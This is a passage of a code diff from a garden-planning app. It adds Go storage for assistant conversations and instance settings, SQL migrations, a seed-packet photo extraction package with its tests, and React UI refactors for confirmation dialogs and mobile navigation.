var out domain.AgentMessage
if err := d.sql.QueryRowContext(ctx,
`INSERT INTO agent_messages (conversation_id, role, body, change_set_id)
VALUES (?, ?, ?, ?)
RETURNING `+agentMessageColumns,
m.ConversationID, m.Role, m.Body, m.ChangeSetID,
).Scan(&out.ID, &out.ConversationID, &out.Role, &out.Body, &out.ChangeSetID, &out.CreatedAt); err != nil {
return nil, fmt.Errorf("store: append agent message: %w", err)
}
// Touch the conversation so a "most recent thread" read is possible later.
if _, err := d.sql.ExecContext(ctx,
`UPDATE agent_conversations SET updated_at = strftime('%Y-%m-%dT%H:%M:%SZ', 'now') WHERE id = ?`,
m.ConversationID); err != nil {
return nil, fmt.Errorf("store: touch conversation: %w", err)
}
return &out, nil
}
// ListAgentMessages returns the last `limit` messages of a conversation in
// chronological order.
//
// Reading the TAIL rather than the head is the point: an old opening exchange is
// the least useful context for "now do the same to the north bed", and an
// uncapped read would grow without bound over a season.
func (d *DB) ListAgentMessages(ctx context.Context, conversationID int64, limit int) ([]domain.AgentMessage, error) {
rows, err := d.sql.QueryContext(ctx,
`SELECT `+agentMessageColumns+` FROM (
SELECT `+agentMessageColumns+` FROM agent_messages
WHERE conversation_id = ? ORDER BY id DESC LIMIT ?
) ORDER BY id`,
conversationID, limit)
if err != nil {
return nil, fmt.Errorf("store: list agent messages: %w", err)
}
defer rows.Close()
msgs := []domain.AgentMessage{}
for rows.Next() {
var m domain.AgentMessage
if err := rows.Scan(&m.ID, &m.ConversationID, &m.Role, &m.Body, &m.ChangeSetID, &m.CreatedAt); err != nil {
return nil, fmt.Errorf("store: scan agent message: %w", err)
}
msgs = append(msgs, m)
}
if err := rows.Err(); err != nil {
return nil, fmt.Errorf("store: iterate agent messages: %w", err)
}
return msgs, nil
}
// DeleteConversation clears a thread (the messages cascade).
func (d *DB) DeleteConversation(ctx context.Context, gardenID, userID int64) error {
if _, err := d.sql.ExecContext(ctx,
`DELETE FROM agent_conversations WHERE garden_id = ? AND user_id = ?`,
gardenID, userID); err != nil {
return fmt.Errorf("store: delete conversation: %w", err)
}
return nil
}
+81
View File
@@ -0,0 +1,81 @@
package store
import (
"context"
"database/sql"
"errors"
"fmt"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
)
// The instance_settings row is seeded by migration 0010 and there is exactly one
// (CHECK id = 1), so reads never branch on existence and writes never insert.
const instanceSettingsColumns = `agent_model, agent_enabled, vision_model, version, updated_at`
// scanInstanceSettings reads the single settings row. agent_enabled is a nullable
// INTEGER (NULL = inherit env), so it is scanned through sql.NullInt64.
func scanInstanceSettings(s scanner) (*domain.InstanceSettings, error) {
var (
out domain.InstanceSettings
enabled sql.NullInt64
)
if err := s.Scan(&out.AgentModel, &enabled, &out.VisionModel, &out.Version, &out.UpdatedAt); err != nil {
return nil, err
}
if enabled.Valid {
b := enabled.Int64 != 0
out.AgentEnabled = &b
}
return &out, nil
}
// GetInstanceSettings returns the single settings row.
func (d *DB) GetInstanceSettings(ctx context.Context) (*domain.InstanceSettings, error) {
s, err := scanInstanceSettings(d.sql.QueryRowContext(ctx,
`SELECT `+instanceSettingsColumns+` FROM instance_settings WHERE id = 1`))
if errors.Is(err, sql.ErrNoRows) {
// The migration seeds this row, so its absence is a broken database, not a
// normal "not found" the caller should paper over.
return nil, fmt.Errorf("store: instance_settings row missing (migration 0010 not applied?)")
}
if err != nil {
return nil, fmt.Errorf("store: get instance settings: %w", err)
}
return s, nil
}
// UpdateInstanceSettings applies a version-guarded update to the single row,
// following the same optimistic-concurrency contract as every mutable resource:
// the updated row on success, (current row, ErrVersionConflict) on a version
// mismatch. There is no ErrNotFound path — the row always exists.
//
// agentEnabled is nil to store SQL NULL (inherit env), or a pointer to store an
// explicit 0/1.
func (d *DB) UpdateInstanceSettings(ctx context.Context, s *domain.InstanceSettings) (*domain.InstanceSettings, error) {
var enabled any
if s.AgentEnabled != nil {
enabled = boolToInt(*s.AgentEnabled)
}
updated, err := scanInstanceSettings(d.sql.QueryRowContext(ctx,
`UPDATE instance_settings
SET agent_model = ?, agent_enabled = ?, vision_model = ?,
version = version + 1,
updated_at = strftime('%Y-%m-%dT%H:%M:%SZ', 'now')
WHERE id = 1 AND version = ?
RETURNING `+instanceSettingsColumns,
s.AgentModel, enabled, s.VisionModel, s.Version,
))
if errors.Is(err, sql.ErrNoRows) {
current, gerr := d.GetInstanceSettings(ctx)
if gerr != nil {
return nil, gerr
}
return current, domain.ErrVersionConflict
}
if err != nil {
return nil, fmt.Errorf("store: update instance settings: %w", err)
}
return updated, nil
}
+32
View File
@@ -123,6 +123,38 @@ func (d *DB) ListJournalEntries(ctx context.Context, gardenID int64, f JournalFi
return entries, nil
}
// JournalCounts returns how many entries a garden holds, keyed by the object
// they are about — key 0 for entries about the garden itself.
//
// A count per object rather than a flag, and one query rather than one per bed:
// the indicator has to be available when the journal panel is closed, which is
// exactly when nothing else has loaded the entries.
func (d *DB) JournalCounts(ctx context.Context, gardenID int64) (map[int64]int, error) {
rows, err := d.sql.QueryContext(ctx,
`SELECT COALESCE(object_id, 0), COUNT(*)
FROM journal_entries WHERE garden_id = ?
GROUP BY COALESCE(object_id, 0)`,
gardenID)
if err != nil {
return nil, fmt.Errorf("store: journal counts: %w", err)
}
defer rows.Close()
counts := map[int64]int{}
for rows.Next() {
var objectID int64
var n int
if err := rows.Scan(&objectID, &n); err != nil {
return nil, fmt.Errorf("store: scan journal count: %w", err)
}
counts[objectID] = n
}
if err := rows.Err(); err != nil {
return nil, fmt.Errorf("store: iterate journal counts: %w", err)
}
return counts, nil
}
// UpdateJournalEntry applies a version-guarded update of the mutable columns.
// Same contract as every other mutable resource. The target (garden/object/
// planting) and the author are immutable: an entry is a record of an observation,
@@ -0,0 +1,36 @@
-- Agent conversations (#56): multi-turn chat with the garden assistant.
--
-- "Now do the same to the north bed" needs the previous exchange, and history
-- held only by the client would be lost on a refresh — which is exactly when
-- someone reloads to see whether the agent's change actually landed.
--
-- One conversation per (user, garden). Two people editing a shared garden get
-- separate threads: a conversation is a dialogue with one person, and merging
-- them would put words in someone's mouth.
CREATE TABLE agent_conversations (
id INTEGER PRIMARY KEY,
garden_id INTEGER NOT NULL REFERENCES gardens (id) ON DELETE CASCADE,
user_id INTEGER NOT NULL REFERENCES users (id) ON DELETE CASCADE,
created_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%SZ', 'now')),
updated_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%SZ', 'now')),
UNIQUE (garden_id, user_id)
);
-- Only the user/assistant TEXT of each turn is kept, not the full model
-- transcript with its tool calls. Continuity needs what was said and what came
-- back; replaying a stored tool call would be replaying a decision made against
-- a garden that has since moved on. It also keeps the schema free of majordomo's
-- message shape, which is a dependency's business, not the database's.
CREATE TABLE agent_messages (
conversation_id INTEGER NOT NULL REFERENCES agent_conversations (id) ON DELETE CASCADE,
id INTEGER PRIMARY KEY,
role TEXT NOT NULL CHECK (role IN ('user', 'assistant')),
body TEXT NOT NULL,
-- The change set this turn produced, so the panel can offer Undo on the
-- message that caused it. SET NULL rather than CASCADE: losing the history
-- entry must not delete what was said about it.
change_set_id INTEGER REFERENCES change_sets (id) ON DELETE SET NULL,
created_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%SZ', 'now'))
);
CREATE INDEX idx_agent_messages_conversation ON agent_messages (conversation_id, id);
@@ -0,0 +1,35 @@
-- Instance settings (#79): the first configuration that lives in the database
-- rather than the environment.
--
-- Until now every preference hung off a garden or object row; this is pansy's
-- first INSTANCE-level state. A single-row table (CHECK id = 1) is the least
-- surprising shape for "there is exactly one of these" — a key/value table would
-- invite typo'd keys and lose the column types.
--
-- Only NON-SECRET agent settings live here. OLLAMA_CLOUD_API_KEY stays in the
-- environment on purpose: a copy in SQLite would land in every backup and in the
-- blast radius of the undo history. An admin can change WHICH model runs, not
-- WHOSE account pays for it.
--
-- Both agent columns are "inherit from env unless set":
-- * agent_model = '' means fall back to PANSY_AGENT_MODEL, then the built-in
-- default. So an instance that never opens Settings behaves exactly as it
-- did before this migration, and the documented env var keeps working.
-- * agent_enabled is NULLABLE: NULL means inherit PANSY_AGENT_ENABLED's
-- behaviour (on when a key is present), 0/1 is an explicit override. A plain
-- boolean couldn't tell "admin hasn't touched this" from "admin turned it
-- off", and those must deploy differently.
--
-- version drives the same optimistic-concurrency 409 every other mutable row
-- uses, so two admins editing at once conflict rather than clobber.
CREATE TABLE instance_settings (
id INTEGER PRIMARY KEY CHECK (id = 1),
agent_model TEXT NOT NULL DEFAULT '',
agent_enabled INTEGER CHECK (agent_enabled IN (0, 1)),
version INTEGER NOT NULL DEFAULT 1,
updated_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%SZ', 'now'))
);
-- Seed the single row so every read is a plain SELECT with no "does it exist
-- yet" branch. Inherits everything from the environment out of the box.
INSERT INTO instance_settings (id, agent_model, agent_enabled) VALUES (1, '', NULL);
@@ -0,0 +1,10 @@
-- Vision model setting (#81): the model that reads a photographed seed packet.
--
-- Separate from agent_model because it's a different capability — extracting
-- structured fields from an image needs a vision-capable model, which the chat
-- model may not be. Same "inherit from env unless set" contract as agent_model:
-- '' falls back to PANSY_VISION_MODEL, then the feature is simply not offered.
--
-- Like agent_model, the API KEY is NOT stored here — the vision model runs
-- against the same OLLAMA_CLOUD_API_KEY from the environment.
ALTER TABLE instance_settings ADD COLUMN vision_model TEXT NOT NULL DEFAULT '';
+3 -1
View File
@@ -119,7 +119,9 @@ func (d *DB) ListChangeSets(ctx context.Context, gardenID int64, limit, offset i
return sets, nil
}
// One grouped query for the whole page rather than N per-row counts.
// One grouped query for the whole page rather than N per-row counts. The
// service's countRevisions mirrors this grouping for change sets it has just
// written; TestRevertResultCarriesItsCounts holds the two in step.
countRows, err := d.sql.QueryContext(ctx,
`SELECT change_set_id, entity_type, op, COUNT(*)
FROM revisions
+77
View File
@@ -0,0 +1,77 @@
// Package vision reads a photographed seed packet into structured fields (#81).
//
// It is one-shot structured extraction, NOT an agent loop: majordomo.Generate[T]
// derives a JSON schema from the SeedPacket struct, hands the image to a vision
// model, and unmarshals the reply into SeedPacket. Because it can't call a tool,
// it can't touch the garden — it only reads a picture and returns data, which the
// service then turns into a plant + lot after the user confirms.
package vision
import (
"context"
"fmt"
"gitea.stevedudenhoeffer.com/steve/majordomo"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/agentmodel"
)
// SeedPacket is what a vision model reads off a packet. The json/description/enum
// tags drive the schema majordomo.Generate derives; pointer fields are nullable,
// so a field the packet doesn't print comes back nil rather than a made-up zero.
//
// These are the packet's PRINTED facts. Mapping them onto a pansy Plant + SeedLot
// (and deciding whether the variety is one already in the catalog) is the
// service's job, not the model's.
type SeedPacket struct {
Species string `json:"species" description:"the plant species in plain words, e.g. tomato, garlic, basil"`
Variety string `json:"variety" description:"the cultivar or variety name, e.g. Cherokee Purple; empty if the packet only names a species"`
Category string `json:"category" enum:"vegetable,herb,flower,fruit,tree_shrub,cover" description:"the single best-fit category"`
Vendor string `json:"vendor" description:"the seed company, e.g. Johnny's Selected Seeds"`
SKU string `json:"sku" description:"the vendor's item/product number, if printed"`
LotCode string `json:"lotCode" description:"the lot or batch code, if printed"`
PackedForYear *int `json:"packedForYear" description:"the 'packed for' or 'sell by' year, if printed"`
DaysToMaturity *int `json:"daysToMaturity" description:"days to maturity/harvest, if printed"`
SpacingCM *float64 `json:"spacingCm" description:"recommended in-row spacing in CENTIMETERS; convert if the packet uses inches"`
SeedCount *int `json:"seedCount" description:"approximate seed count in the packet, if printed"`
}
// extractPrompt tells the model the conventions it can't guess: centimeters, and
// that a missing field must be left empty rather than invented.
const extractPrompt = `You are reading a photograph of a seed packet. Extract only what is actually printed on it.
Rules:
- Spacing must be in CENTIMETERS. If the packet gives inches, convert (1 in = 2.54 cm).
- If a field is not printed on the packet, leave it empty or null. Do not guess or fill from general knowledge.
- "variety" is the cultivar name (e.g. "Cherokee Purple"); "species" is the plain plant name (e.g. "tomato").`
// Extract runs one vision extraction: it resolves the model spec against pansy's
// registry, sends the JPEG with the prompt, and returns the parsed SeedPacket.
// The image bytes should already be normalized to JPEG (see internal/imagenorm).
//
// It makes a live model call, so callers give it a bounded context.
func Extract(ctx context.Context, apiKey, modelSpec string, jpeg []byte) (SeedPacket, error) {
if len(jpeg) == 0 {
return SeedPacket{}, fmt.Errorf("vision: empty image")
}
model, err := agentmodel.Resolve(apiKey, modelSpec)
if err != nil {
return SeedPacket{}, err
}
return generate(ctx, model, jpeg)
}
// generate makes the actual one-shot call against an already-resolved model. It
// is split from Extract on purpose: the hermetic test drives THIS function with a
// fake model, so the prompt, the derived schema and the image part it builds are
// the real ones the live path uses — not a hand-copied double that could drift.
func generate(ctx context.Context, model llm.Model, jpeg []byte) (SeedPacket, error) {
return majordomo.Generate[SeedPacket](ctx, model, majordomo.Request{
Messages: []majordomo.Message{
majordomo.UserParts(
majordomo.Text(extractPrompt),
majordomo.Image("image/jpeg", jpeg),
),
},
})
}
+107
View File
@@ -0,0 +1,107 @@
package vision
import (
"bytes"
"context"
"image"
"image/jpeg"
"testing"
"gitea.stevedudenhoeffer.com/steve/majordomo"
"gitea.stevedudenhoeffer.com/steve/majordomo/llm"
"gitea.stevedudenhoeffer.com/steve/majordomo/provider/fake"
)
// tinyJPEG returns a real, sniffable JPEG. The chain runs media.Normalize before
// the provider, which checks the image's magic bytes, so a string literal won't
// do — the bytes must actually be a JPEG.
func tinyJPEG(t *testing.T) []byte {
t.Helper()
var b bytes.Buffer
if err := jpeg.Encode(&b, image.NewRGBA(image.Rect(0, 0, 8, 8)), nil); err != nil {
t.Fatalf("encode jpeg: %v", err)
}
return b.Bytes()
}
// TestExtractParsesModelJSON is the hermetic proof that the extraction path works
// end to end without a live model: a fake vision model returns canned packet JSON
// and Generate[SeedPacket] unmarshals it into the struct, image and schema
// included.
func TestExtractParsesModelJSON(t *testing.T) {
reg := majordomo.New(majordomo.WithoutEnvProviders())
fp := fake.New("fp") // default caps advertise structured output + images
reg.RegisterProvider(fp)
fp.Enqueue("vision", fake.Reply(`{
"species": "garlic",
"variety": "Music",
"category": "vegetable",
"vendor": "Johnny's",
"sku": "2761",
"lotCode": "L-42",
"packedForYear": 2026,
"daysToMaturity": 240,
"spacingCm": 15,
"seedCount": 8
}`))
m, err := reg.Parse("fp/vision")
if err != nil {
t.Fatalf("parse: %v", err)
}
got, err := generate(context.Background(), m, tinyJPEG(t))
if err != nil {
t.Fatalf("extract: %v", err)
}
if got.Variety != "Music" || got.Species != "garlic" || got.Category != "vegetable" {
t.Errorf("unexpected packet: %+v", got)
}
if got.SpacingCM == nil || *got.SpacingCM != 15 {
t.Errorf("spacingCm = %v, want 15", got.SpacingCM)
}
if got.PackedForYear == nil || *got.PackedForYear != 2026 {
t.Errorf("packedForYear = %v, want 2026", got.PackedForYear)
}
// The image and the derived schema really reached the model.
call := fp.Calls()[0]
if call.Request.SchemaName != "seedpacket" {
t.Errorf("schema name = %q, want seedpacket", call.Request.SchemaName)
}
var sawImage bool
for _, p := range call.Request.Messages[0].Parts {
if _, ok := p.(llm.ImagePart); ok {
sawImage = true
}
}
if !sawImage {
t.Error("the image part didn't reach the model")
}
}
// TestExtractLeavesMissingFieldsNil: a packet that only prints a species comes
// back with nil pointers for the numbers, not invented zeros — the whole reason
// the numeric fields are pointers.
func TestExtractLeavesMissingFieldsNil(t *testing.T) {
reg := majordomo.New(majordomo.WithoutEnvProviders())
fp := fake.New("fp")
reg.RegisterProvider(fp)
fp.Enqueue("vision", fake.Reply(`{"species":"basil","category":"herb"}`))
m, _ := reg.Parse("fp/vision")
got, err := generate(context.Background(), m, tinyJPEG(t))
if err != nil {
t.Fatalf("extract: %v", err)
}
if got.SpacingCM != nil || got.DaysToMaturity != nil || got.PackedForYear != nil || got.SeedCount != nil {
t.Errorf("missing numeric fields should be nil, got %+v", got)
}
}
// TestExtractRejectsEmptyImage: no bytes, no call.
func TestExtractRejectsEmptyImage(t *testing.T) {
if _, err := Extract(context.Background(), "k", "fp/vision", nil); err == nil {
t.Error("Extract accepted an empty image")
}
}
+1469 -5
View File
File diff suppressed because it is too large Load Diff
+2
View File
@@ -22,6 +22,8 @@
"clsx": "^2.1.1",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"react-markdown": "^9.1.0",
"remark-gfm": "^4.0.1",
"tailwind-merge": "^2.6.0",
"zod": "^3.24.1",
"zustand": "^5.0.14"
-13
View File
@@ -1,13 +0,0 @@
import type { ReactNode } from 'react'
/** Placeholder page scaffolding used until each feature issue fills these in. */
export function PageStub({ title, children }: { title: string; children?: ReactNode }) {
return (
<section>
<h1 className="text-2xl font-semibold tracking-tight">{title}</h1>
<p className="mt-2 text-sm text-muted">
{children ?? 'Placeholder — this page arrives in a later issue.'}
</p>
</section>
)
}
@@ -1,42 +1,22 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useDeleteGarden, type Garden } from '@/lib/gardens'
/** Confirmation dialog for deleting a garden (and everything in it). */
export function DeleteGardenModal({ garden, onClose }: { garden: Garden; onClose: () => void }) {
const deletion = useDeleteGarden()
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
setError(null)
try {
await deletion.mutateAsync(garden.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not delete the garden.'))
}
}
return (
<Modal title="Delete garden" onClose={onClose} busy={deletion.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Delete garden"
confirmLabel="Delete"
busyLabel="Deleting…"
errorFallback="Could not delete the garden."
onConfirm={() => deletion.mutateAsync(garden.id)}
onClose={onClose}
>
<p className="text-sm text-muted">
Delete <span className="font-medium text-fg">{garden.name}</span> and everything planned in it?
This can't be undone.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={deletion.isPending}>
Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={deletion.isPending}>
{deletion.isPending ? 'Deleting' : 'Delete'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+17 -31
View File
@@ -1,8 +1,4 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useMe } from '@/lib/auth'
import type { Garden } from '@/lib/gardens'
import { useRemoveShare } from '@/lib/shares'
@@ -12,36 +8,26 @@ import { useRemoveShare } from '@/lib/shares'
export function LeaveGardenModal({ garden, onClose }: { garden: Garden; onClose: () => void }) {
const me = useMe()
const remove = useRemoveShare(garden.id)
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
if (!me.data) return
setError(null)
try {
await remove.mutateAsync(me.data.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not leave the garden.'))
}
}
return (
<Modal title="Leave garden" onClose={onClose} busy={remove.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Leave garden"
confirmLabel="Leave"
busyLabel="Leaving…"
confirmDisabled={!me.data}
errorFallback="Could not leave the garden."
onConfirm={async () => {
// The button is disabled without a current user; throw rather than
// silently resolve (which would close the dialog as if it had worked) if
// that guard ever drifts.
if (!me.data) throw new Error('Not signed in.')
await remove.mutateAsync(me.data.id)
}}
onClose={onClose}
>
<p className="text-sm text-muted">
Leave <span className="font-medium text-fg">{garden.name}</span>? You'll lose access until the owner
shares it with you again.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={remove.isPending}>
Cancel
</Button>
<Button type="button" variant="danger" onClick={onConfirm} disabled={remove.isPending || !me.data}>
{remove.isPending ? 'Leaving' : 'Leave'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+184 -37
View File
@@ -1,12 +1,19 @@
import { Link, Outlet, useNavigate } from '@tanstack/react-router'
import { Suspense, useEffect, useState } from 'react'
import { Link, Outlet, useMatchRoute, useNavigate, useRouterState } from '@tanstack/react-router'
import { Toaster } from '@/components/ui/toast'
import { useLogout, useMe } from '@/lib/auth'
import { cn } from '@/lib/cn'
const navLinks = [
{ to: '/gardens', label: 'Gardens' },
{ to: '/plants', label: 'Plants' },
// Top-level sections. `icon` is only used by the mobile bottom bar; the desktop
// top bar shows labels alone. Settings is filtered to admins at render.
const sections = [
{ to: '/gardens', label: 'Gardens', icon: '🏡', adminOnly: false },
{ to: '/plants', label: 'Plants', icon: '🌿', adminOnly: false },
{ to: '/settings', label: 'Settings', icon: '⚙️', adminOnly: true },
] as const
type Section = (typeof sections)[number]
// TanStack Router concatenates the base className with activeProps/inactiveProps,
// so state-specific and conflicting utilities (text-muted vs text-fg) live in the
// state props — never in the base — to avoid ambiguous overrides.
@@ -14,60 +21,74 @@ const navLinkBase = 'rounded-md px-3 py-1.5 text-sm font-medium transition-color
const navLinkActive = 'bg-border/60 text-fg'
const navLinkInactive = 'text-muted hover:bg-border/60 hover:text-fg'
/** Top-level chrome: a sticky nav bar plus the routed page in an <Outlet>. */
/**
* Top-level chrome. Mobile-first: a slim top bar (brand + account) with the
* section nav moved to a thumb-reachable bottom tab bar; the desktop breakpoint
* (`md:`) restores the inline top nav. The editor is a full-screen context, so it
* owns the bottom of the screen — the app bottom bar hides there (the brand link
* is the way back to the gardens list), leaving exactly one bottom bar per route.
*/
export function AppShell() {
const me = useMe()
const logout = useLogout()
const navigate = useNavigate()
const user = me.data
const matchRoute = useMatchRoute()
async function onLogout() {
try {
await logout.mutateAsync()
await navigate({ to: '/login' })
} catch {
// The logout request failed, so the session is still valid server-side:
// leave the user where they are (the button re-enables for a retry) rather
// than pretending they're signed out. logout.isError drives the title below.
}
}
// Full-screen canvas contexts own the bottom of the screen: the garden editor
// and the public shared-garden view both render a 100dvh-8rem canvas, so a
// signed-in viewer must not get the app bottom bar overlapping it. Fuzzy:false
// so the '/gardens' list itself still shows the bar.
const inEditor = !!matchRoute({ to: '/gardens/$gardenId', fuzzy: false })
const inPublicGarden = !!matchRoute({ to: '/g/$token', fuzzy: false })
// A canvas route wants the whole width — the garden editor is squeezed by the
// max-w-5xl reading measure the other pages use (#107).
const canvasRoute = inEditor || inPublicGarden
const showBottomNav = !!user && !canvasRoute
// On a phone the editor is a full-screen canvas, so the global top bar is pure
// chrome above the garden — hide it and let the editor's own strip carry the
// back link AND the account menu (so sign-out isn't lost). Editor only, not the
// public view, which has no strip of its own to fall back on.
const hideHeaderOnMobile = inEditor
const visibleSections = sections.filter((s) => !s.adminOnly || user?.isAdmin)
return (
<div className="flex min-h-full flex-col">
<header className="sticky top-0 z-10 border-b border-border bg-surface/90 backdrop-blur">
<nav className="mx-auto flex max-w-5xl items-center gap-4 px-4 py-3">
<header
className={cn(
'sticky top-0 z-20 border-b border-border bg-surface/90 backdrop-blur',
hideHeaderOnMobile && 'hidden md:block',
)}
>
{/* The bar matches the content width below: constrained on reading pages,
edge-to-edge on the canvas routes so the brand aligns with the editor. */}
<nav className={cn('flex items-center gap-4 px-4 py-3', canvasRoute ? '' : 'mx-auto max-w-5xl')}>
<Link to="/gardens" className="text-lg font-semibold text-accent-strong">
🌱 pansy
</Link>
<div className="flex flex-1 items-center gap-1">
{/* Desktop inline section links. Hidden on mobile, where the bottom bar
carries them. */}
<div className="hidden flex-1 items-center gap-1 md:flex">
{user &&
navLinks.map((l) => (
visibleSections.map((s) => (
<Link
key={l.to}
to={l.to}
key={s.to}
to={s.to}
className={navLinkBase}
activeProps={{ className: navLinkActive }}
inactiveProps={{ className: navLinkInactive }}
>
{l.label}
{s.label}
</Link>
))}
</div>
{/* Spacer so account/sign-out sits right on mobile (the desktop links
own flex-1 above). */}
<div className="flex-1 md:hidden" />
{user ? (
<div className="flex items-center gap-2">
<span className="hidden text-sm text-muted sm:inline">{user.displayName}</span>
<button
type="button"
onClick={onLogout}
disabled={logout.isPending}
title={logout.isError ? 'Sign out failed — try again' : undefined}
className="rounded-md px-3 py-1.5 text-sm font-medium text-muted transition-colors hover:text-fg disabled:opacity-60"
>
{logout.isPending ? 'Signing out…' : logout.isError ? 'Retry sign out' : 'Sign out'}
</button>
</div>
<AccountMenu displayName={user.displayName} />
) : (
<Link
to="/login"
@@ -79,11 +100,137 @@ export function AppShell() {
</nav>
</header>
<main className="mx-auto w-full max-w-5xl flex-1 px-4 py-6">
<main
className={cn(
'w-full flex-1 px-4 py-6',
// Constrain the reading pages to a comfortable measure; the canvas
// routes go edge-to-edge so the garden gets the whole screen.
!canvasRoute && 'mx-auto max-w-5xl',
// Clear the fixed bottom bar on mobile so content isn't hidden behind
// it. The 3.5rem must match BottomNav's h-14 (kept adjacent below).
showBottomNav && 'pb-[calc(3.5rem+env(safe-area-inset-bottom))] md:pb-6',
)}
>
{/* Boundary for the lazily-loaded routes (see router.tsx). */}
<Suspense fallback={<p className="p-6 text-sm text-muted">Loading</p>}>
<Outlet />
</Suspense>
</main>
{showBottomNav && <BottomNav sections={visibleSections} />}
<Toaster />
</div>
)
}
/** Account control: a compact button that toggles a small sign-out popover. On
* desktop the display name shows inline; on mobile it lives inside the popover.
* Exported so the editor's mobile strip can carry it — the global header that
* normally hosts it is hidden there (see hideHeaderOnMobile). */
export function AccountMenu({ displayName }: { displayName: string }) {
const logout = useLogout()
const navigate = useNavigate()
const [open, setOpen] = useState(false)
const pathname = useRouterState({ select: (s) => s.location.pathname })
// Close on any route change, so navigating (bottom nav, browser back) can't
// leave the popover — and its full-screen backdrop — stuck open over the page.
useEffect(() => setOpen(false), [pathname])
async function onLogout() {
try {
await logout.mutateAsync()
await navigate({ to: '/login' })
} catch {
// The logout request failed, so the session is still valid server-side.
// Keep the popover OPEN so the button (now "Retry sign out", driven by
// logout.isError) stays on screen — closing it would hide the only retry
// affordance and pretend nothing went wrong.
}
}
const initial = displayName.trim().charAt(0).toUpperCase() || '·'
return (
<div className="relative">
<button
type="button"
onClick={() => setOpen((v) => !v)}
aria-haspopup="menu"
aria-expanded={open}
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm text-muted transition-colors hover:text-fg"
>
<span className="hidden sm:inline">{displayName}</span>
<span
aria-hidden
className="flex size-8 items-center justify-center rounded-full bg-border/60 text-sm font-semibold text-fg"
>
{initial}
</span>
</button>
{open && (
<>
{/* Full-screen click-away backdrop; reliably closes on an outside tap
without a document listener. */}
<button
type="button"
aria-label="Close menu"
className="fixed inset-0 z-30 cursor-default"
onClick={() => setOpen(false)}
/>
<div
role="menu"
className="absolute right-0 z-40 mt-2 w-48 rounded-lg border border-border bg-surface p-1 shadow-lg"
>
<p className="truncate px-3 py-2 text-xs text-muted">
Signed in as <span className="text-fg">{displayName}</span>
</p>
<button
type="button"
role="menuitem"
onClick={onLogout}
disabled={logout.isPending}
title={logout.isError ? 'Sign out failed — try again' : undefined}
className="w-full rounded-md px-3 py-2 text-left text-sm font-medium text-muted transition-colors hover:bg-border/60 hover:text-fg disabled:opacity-60"
>
{logout.isPending ? 'Signing out…' : logout.isError ? 'Retry sign out' : 'Sign out'}
</button>
</div>
</>
)}
</div>
)
}
/** Mobile bottom tab bar for the top-level sections (thumb zone, safe-area aware). */
function BottomNav({ sections }: { sections: ReadonlyArray<Section> }) {
return (
<nav
aria-label="Sections"
className="fixed inset-x-0 bottom-0 z-20 border-t border-border bg-surface/95 pb-[env(safe-area-inset-bottom)] backdrop-blur md:hidden"
>
<ul className="mx-auto flex max-w-5xl items-stretch justify-around">
{sections.map((s) => (
<li key={s.to} className="flex-1">
{/* h-14 matches the clearance reserved on <main> above. Color lives
only in the state props (per the top-bar convention), never the
base, so active/inactive don't fight. */}
<Link
to={s.to}
className="flex h-14 flex-col items-center justify-center gap-0.5 text-xs font-medium transition-colors"
activeProps={{ className: 'text-accent-strong' }}
inactiveProps={{ className: 'text-muted hover:text-fg' }}
>
<span aria-hidden className="text-lg leading-none">
{s.icon}
</span>
{s.label}
</Link>
</li>
))}
</ul>
</nav>
)
}
+12 -32
View File
@@ -1,46 +1,26 @@
import { useState } from 'react'
import { Modal } from '@/components/ui/Modal'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useDeletePlant, type Plant } from '@/lib/plants'
/**
* Confirmation dialog for deleting a custom plant. A plant still used by
* plantings is refused by the server (409 PLANT_IN_USE); we surface that
* message inline rather than pretending it worked.
* plantings is refused by the server (409 PLANT_IN_USE); ConfirmModal surfaces
* that message inline rather than pretending it worked.
*/
export function DeletePlantModal({ plant, onClose }: { plant: Plant; onClose: () => void }) {
const deletion = useDeletePlant()
const [error, setError] = useState<string | null>(null)
async function onConfirm() {
setError(null)
try {
await deletion.mutateAsync(plant.id)
onClose()
} catch (err) {
setError(errorMessage(err, 'Could not delete the plant.'))
}
}
return (
<Modal title="Delete plant" onClose={onClose} busy={deletion.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Delete plant"
confirmLabel="Delete"
busyLabel="Deleting…"
errorFallback="Could not delete the plant."
onConfirm={() => deletion.mutateAsync(plant.id)}
onClose={onClose}
>
<p className="text-sm text-muted">
Delete <span className="font-medium text-fg">{plant.name}</span> from your catalog? This can't be
undone.
</p>
{error && <Alert>{error}</Alert>}
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={deletion.isPending}>
